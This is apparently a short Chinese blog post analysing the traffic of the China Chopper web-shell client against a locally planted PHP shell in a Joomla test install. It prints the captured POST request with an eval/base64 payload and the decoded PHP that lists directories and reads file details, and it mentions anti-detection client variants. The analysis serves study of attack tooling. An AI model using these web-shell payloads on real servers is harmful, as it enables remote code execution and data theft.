简介
我们都知道,只要写入了一个脚本文件,然后接受一个参数来执行代码,菜刀连接上去我们就可以进行增删改查权限了,那么这个时候菜刀究竟干了什么?我们来看看
1、我在本地写了一个shell
,密码为eiywexdtolthvzztvoyfuoqglpcjlwerifzzrzslutzxutreje
2、设置菜刀代理为我们burp
的带来来接收数据
然后连接进去burl
就会抓取一个数据包
1 | POST /Joomla_3.4.6-Stable-Full_Package//configuration.php HTTP/1.1 |
2 | User-Agent: Java/1.8.0_161 |
3 | Host: 127.0.0.1 |
4 | Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 |
5 | Content-type: application/x-www-form-urlencoded |
6 | Content-Length: 689 |
7 | Connection: close |
8 |
|
9 | eiywexdtolthvzztvoyfuoqglpcjlwerifzzrzslutzxutreje=@eval(base64_decode($_POST[action]));&action=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtlY2hvKCItJmd0O3wiKTs7JEQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pO2lmKCREPT0iIikkRD1kaXJuYW1lKCRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXSk7JFI9InskRH1cdCI7aWYoc3Vic3RyKCRELDAsMSkhPSIvIil7Zm9yZWFjaChyYW5nZSgiQSIsIloiKSBhcyAkTClpZihpc19kaXIoInskTH06IikpJFIuPSJ7JEx9OiI7fSRSLj0iXHQiOyR1PShmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGVnaWQiKSk%2fQHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOiIiOyR1c3I9KCR1KT8kdVsibmFtZSJdOkBnZXRfY3VycmVudF91c2VyKCk7JFIuPXBocF91bmFtZSgpOyRSLj0iKHskdXNyfSkiO3ByaW50ICRSOztlY2hvKCJ8Jmx0Oy0iKTtkaWUoKTs%3d |
大概流程就是执行eval
,然后base64
解码action
的参数,我们编码看看执行了什么代码
1 | @ini_set("display_errors","0");@set_time_limit(0);echo("->|");;$D=base64_decode($_POST["z1"]);$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D."/".$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E." |
2 | ";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("|<-");die(KTs= |
列了当前路径、计算机名、计算机系统等信息,然后下个请求读取当前路径的文件,然后我们点击哪个文件就会
fopen
哪个文件,并且列出字节数、创建时间。
其实还挺简单的,然后一些免杀菜刀就是改底层然后修改获取这些目录、文件的代码,和绕过shell
一样的,有空我再看看,此文章没学习性,我就是好奇看看